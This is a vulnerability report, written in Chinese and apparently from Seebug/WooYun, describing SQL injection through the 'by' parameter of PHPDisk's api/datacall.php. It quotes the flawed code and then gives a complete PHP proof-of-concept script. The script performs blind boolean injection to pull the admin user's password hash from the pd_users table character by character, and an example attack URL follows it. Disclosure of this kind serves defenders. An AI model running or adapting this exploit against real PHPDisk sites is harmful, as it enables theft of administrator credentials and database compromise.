躺在床上读代码之 phpdick SQL注射

2012-11-29T00:00:00
ID SSV:95392
Type seebug
Reporter Root
Modified 2012-11-29T00:00:00

Description

简要描述:

一个漏洞都没有被确认,那我还是都看看wooyun有注册的厂商的代码吧。

详细说明:

在phpdisk/api/datacall.php 中有一段代码:

$order = trim(gpc('order','G','')); $by = trim(gpc('by','G','')); $limit = (int)gpc('limit','G',0); if(!$type || !$order || !$by || !$limit){ echo 'PHPDisk Datacall Parameter is null or Error!'; exit; } $filter_arr = array('select','delete','update','insert'); for($i=0;$i<count($filter_arr);$i++){ if(strpos($order,strtolower($filter_arr[$i]))!==false){ die('PHPDisk Datacall Parameter Error!'); } } if($type=='user'){ echo '<ul>'.LF; $q = $db->query("select username,userid from {$tpf}users order by $order $by limit $limit");

$order和$by进入了query查询,看的出来作者想到了可能会有人在order里提交query,但是他没想到在不提交order,在by里提交一样可以注射。

漏洞证明:

<img src="https://images.seebug.org/upload/201211/291607553af4356f4c5e070d5eb460cc701da3c0.jpg" alt="phpdisk.jpg" width="600" onerror="javascript:errimg(this);">

``` <?php $file = 'http://localhost/phpdisk/api/datacall.php'; for($i=0;$i<32;$i++) { $path = $i+1; foreach(array('a','b','c','d','e','f',0,1,2,3,4,5,6,7,8,9) as $w) { $api = $file.'?type=user&by='.urlencode('(if(((select substring(password,'.$path.',1) from pd_users where userid=1)=0x'.bin2hex($w).'),userid,username))').'&order=/**/&limit=1'; if(strpos(file_get_contents($api),'admin')!==false) { echo $w; break; } }

} //http://localhost/phpdisk/api/datacall.php?type=user&by=if%28%28%28select%201%20from%20pd_users%20where%20userid=1%20limit%201%29=2%29,userid,username%29&order=/**/&limit=1 ?> ```